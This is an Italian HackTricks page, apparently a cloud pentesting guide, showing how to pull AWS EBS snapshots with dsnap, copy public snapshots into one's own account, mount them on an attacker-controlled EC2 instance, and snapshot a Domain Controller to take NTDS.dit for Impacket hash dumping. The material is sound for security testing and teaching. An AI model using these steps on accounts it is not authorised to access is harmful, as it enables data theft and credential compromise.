AWS - EBS Snapshot Dump

Supporta HackTricks

Controllare uno snapshot localmente

# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox

# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly

# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy

# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded

Nota che dsnap non ti permetterà di scaricare snapshot pubblici. Per aggirare questo, puoi fare una copia dello snapshot nel tuo account personale e scaricarlo:

# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"

# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2

# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da

# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2

Per ulteriori informazioni su questa tecnica, consulta la ricerca originale su https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/

Puoi farlo con Pacu utilizzando il modulo ebs__download_snapshots

Verifica di uno snapshot in AWS

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id snap-0b49342abd1bdcb89

Montare in una VM EC2 sotto il tuo controllo (deve essere nella stessa regione della copia del backup):

Passo 1: Creare un nuovo volume della dimensione e tipo preferiti andando su EC2 –> Volumes.

Per poter eseguire questa azione, seguire questi comandi:

  • Creare un volume EBS da collegare all'istanza EC2.

  • Assicurarsi che il volume EBS e l'istanza siano nella stessa zona.

Passo 2: Selezionare l'opzione "attach volume" facendo clic con il tasto destro sul volume creato.

Passo 3: Selezionare l'istanza dalla casella di testo dell'istanza.

Per poter eseguire questa azione, utilizzare il seguente comando:

  • Collegare il volume EBS.

Passo 4: Accedere all'istanza EC2 e elencare i dischi disponibili usando il comando lsblk.

Passo 5: Verificare se il volume contiene dati usando il comando sudo file -s /dev/xvdf.

Se l'output del comando sopra mostra "/dev/xvdf: data", significa che il volume è vuoto.

Passo 6: Formattare il volume al filesystem ext4 usando il comando sudo mkfs -t ext4 /dev/xvdf. In alternativa, è possibile utilizzare il formato xfs usando il comando sudo mkfs -t xfs /dev/xvdf. Si noti che si dovrebbe usare o ext4 o xfs.

Passo 7: Creare una directory a scelta per montare il nuovo volume ext4. Ad esempio, è possibile utilizzare il nome "newvolume".

Per poter eseguire questa azione, utilizzare il comando sudo mkdir /newvolume.

Passo 8: Montare il volume nella directory "newvolume" usando il comando sudo mount /dev/xvdf /newvolume/.

Passo 9: Cambiare directory nella directory "newvolume" e controllare lo spazio su disco per convalidare il montaggio del volume.

Per poter eseguire questa azione, utilizzare i seguenti comandi:

  • Cambiare directory a /newvolume.

  • Controllare lo spazio su disco usando il comando df -h .. L'output di questo comando dovrebbe mostrare lo spazio libero nella directory "newvolume".

Puoi fare questo con Pacu usando il modulo ebs__explore_snapshots.

Verifica di uno snapshot in AWS (usando cli)

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>

# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>

# mount the snapshot from within the VM

sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'

sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63

lsblk /dev/xvdh
NAME     MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvdh     202:112  0    8G  0 disk
├─xvdh1  202:113  0  7.9G  0 part
├─xvdh14 202:126  0    4M  0 part
└─xvdh15 202:127  0  106M  0 part

sudo mount /dev/xvdh1 /mnt

ls /mnt

Shadow Copy

Qualsiasi utente AWS che possiede il permesso EC2:CreateSnapshot può rubare gli hash di tutti gli utenti del dominio creando un snapshot del Domain Controller, montandolo su un'istanza che controllano ed esportando il file NTDS.dit e l'hive del registro SYSTEM per l'uso con il progetto secretsdump di Impacket.

Puoi usare questo strumento per automatizzare l'attacco: https://github.com/Static-Flow/CloudCopy oppure puoi usare una delle tecniche precedenti dopo aver creato uno snapshot.

Riferimenti

Supporta HackTricks

Last updated